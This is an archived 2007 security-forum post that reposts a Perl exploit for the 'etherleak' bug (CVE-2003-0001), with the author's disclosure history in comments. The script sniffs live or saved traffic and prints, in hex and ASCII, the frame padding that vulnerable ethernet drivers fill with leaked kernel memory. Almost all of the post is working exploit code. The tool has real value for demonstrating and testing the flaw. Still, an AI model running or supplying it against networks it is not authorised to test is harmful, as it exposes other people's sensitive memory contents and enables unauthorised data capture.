邪恶八进制信息安全团队技术讨论组's Archiver

pub!1c 2007-3-27 19:24

Ethernet Device Drivers Frame Padding Info Leakage Exploit (Etherleak)

[code]#!/usr/bin/perl -w
# etherleak, code that has been 5 years coming.
#
# On 04/27/2002, I disclosed on the Linux Kernel Mailing list,
# a vulnerability that would be come known as the 'etherleak' bug. In
# various situations an ethernet frame must be padded to reach a specific
# size or fall on a certain boundary. This task is left up to the driver
# for the ethernet device. The RFCs state that this padding must consist
# of NULLs. The bug is that at the time and still to this day, many device
# drivers do not pad will NULLs, but rather pad with unsanitized portions
# of kernel memory, oftentimes exposing sensitive information to remote
# systems or those savvy enough to coerce their targets to do so.
#
# Proof of this can be found by googling for 'warchild and etherleak', or
# by visiting:
#
# [url]http://lkml.org/lkml/2002/4/27/101[/url]
#
# This was ultimately fixed in the Linux kernel, but over time this
# vulnerability reared its head numerous times, but at the core the
# vulnerability was the same as the one I originally published. The most
# public of these was CVE-2003-0001, which was assigned to address an
# official @stake advisory.
#
# This code can be found its most current form at:
#
# [url]http://spoofed.org/files/exploits/etherleak[/url]
#
# Jon Hart <[email]jhart@spoofed.org[/email]>, March 2007
#

use strict;
use diagnostics;
use warnings;
use Getopt::Long;
use Net::Pcap;
use NetPacket::Ethernet qw(:ALL);
use NetPacket::IP qw(:ALL);

my %opts = ();
my ($iface, $err, $pcap_t, $pcap_save, $filter_string);

GetOptions( \%opts, &#39;help&#39;, &#39;filter=s&#39;, &#39;interface=s&#39;, &#39;quiet&#39;, &#39;read=s&#39;, &#39;write=s&#39;, &#39;verbose&#39;) or
      die "Unknown option: $!\n" && &usage();

if (defined($opts{&#39;help&#39;})) {
  &usage();
  exit(0);
}

if (defined($opts{&#39;read&#39;})) {
  $pcap_t = Net::Pcap::open_offline($opts{&#39;read&#39;}, \$err);
  if (!defined($pcap_t)) {
   print("Net::Pcap::open_offline failed: $err\n");
   exit 1;
  }
} else {
  if (defined($opts{&#39;interface&#39;})) {
   $iface = $opts{&#39;interface&#39;};
  } else {
   $iface = Net::Pcap::lookupdev(\$err);
   if (defined($err)) {
     print(STDERR "lookupdev() failed: $err\n");
     exit(1);
   } else {
     print(STDERR "No interface specified. Using $iface\n");
   }
  }

  $pcap_t = Net::Pcap::open_live($iface, 65535, 1, 0, \$err);
  if (!defined($pcap_t)) {
   print("Net::Pcap::open_live failed on $iface: $err\n");
   exit 1;
  }
}

my $filter;
if (Net::Pcap::compile($pcap_t, \$filter, defined($opts{&#39;filter&#39;}) ? $opts{&#39;filter&#39;} : "", 0, 0) == -1) {
  printf("Net::Pcap::compile failed: %s\n", Net::Pcap::geterr($pcap_t));
  exit(1);
}

if (Net::Pcap::setfilter($pcap_t, $filter) == -1) {
  printf("Net::Pcap::setfilter failed: %s\n", Net::Pcap::geterr($pcap_t));
  exit(1);
}

if (defined($opts{&#39;write&#39;})) {
  $pcap_save = Net::Pcap::dump_open($pcap_t, $opts{&#39;write&#39;});
  if (!defined($pcap_save)) {
   printf("Net::Pcap::dump_open failed: %s\n", Net::Pcap::geterr($pcap_t));
   exit(1);
  }
}

Net::Pcap::loop($pcap_t, -1, \&process, "foo");
Net::Pcap::close($pcap_t);

if (defined($opts{&#39;write&#39;})) {
  Net::Pcap::dump_close($pcap_save);
}



sub process {
  my ($user, $hdr, $pkt) = @_;
  my ($link, $ip);
  my $jump = 0;

  my $datalink = Net::Pcap::datalink($pcap_t);
  if  ($datalink == 1) { $jump += 14; }
  elsif ($datalink == 113) { $jump += 16; }
  else { printf("Skipping datalink $datalink\n"); return; }

  my $l2 = NetPacket::Ethernet->decode($pkt);
  
  if ($l2->{type} == ETH_TYPE_IP) {
   $ip = NetPacket::IP->decode(eth_strip($pkt));
   $jump += $ip->{len};
  } elsif ($l2->{type} == ETH_TYPE_ARP) { $jump += 28; }
  else {
   # assume 802.3 ethernet, and just jump ahead the length
   for ($l2->{dest_mac}) {
     if (/^0180c200/) {
      # spanning tree
      # l2->{type} here will actually be the length. HACK.
      $jump += $l2->{type};
     }
     elsif (/^01000ccccc/) {
      # CDP/VTP/DTP/PAgP/UDLD/PVST, etc
      # l2->{type} here will actually be the length. HACK.
      $jump += $l2->{type};
     } elsif (/^ab0000020000/) {
      # DEC-MOP-Remote-Console
      return;
     } else {
      # loopback
      if ($l2->{src_mac} eq $l2->{dest_mac}) { return; }
      printf("Skipping datalink $datalink l2 type %s\n", $l2->{type}); return;
     }
   }
  }


  if ($hdr->{len} > $jump) {
   my $trailer_bin = substr($pkt, $jump);
   my $trailer_hex = "";
   my $trailer_ascii = "";
   foreach (split(//, $trailer_bin)) {
     $trailer_hex .= sprintf("%02x", ord($_));
     if (ord($_) >= 32 && ord($_) <= 126) {
      $trailer_ascii .= $_;
     } else { $trailer_ascii .= "."; }
   }
   # ignore all trailers that are just single characters repeated.
   # most OS&#39; use 0, F, 5 or a.
   unless ($trailer_hex =~ /^(0|5|f|a)\1*$/i) {
     unless ($opts{&#39;quiet&#39;}) {
      print("#"x80, "\n");
      printf("%s -> %s\n", $l2->{src_mac}, $l2->{dest_mac});
      if ($l2->{type} == ETH_TYPE_IP) {
        printf("%s -> %s\n", $ip->{src_ip}, $ip->{dest_ip});
      }
     }
     print("$trailer_hex\t$trailer_ascii\n");
     if (defined($opts{&#39;write&#39;})) {
      Net::Pcap::dump($pcap_save, $hdr, $pkt);
     }
   }
  }
}

sub usage {
  print <<EOF;
$0 -- A demonstration of the infamous &#39;etherleak&#39; bug.

  CVE-2003-0001, and countless repeats of the same vulnerability.

  Options:
  [-h|--help]         # this message
  [-i|--interface] <interface> # interface to listen on
  [-f|--filter] <pcap filter> # apply this filter to the traffic
  [-r|--read] <path to pcap>  # read from this saved pcap file
  [-w|--write] <path to pcap> # write tothis saved pcap file
  [-q|--quiet]         # be quiet
  [-v|--verbose]        # be verbose

EOF


}

[/code]

页: [1]
© 1999-2008 EvilOctal Security Team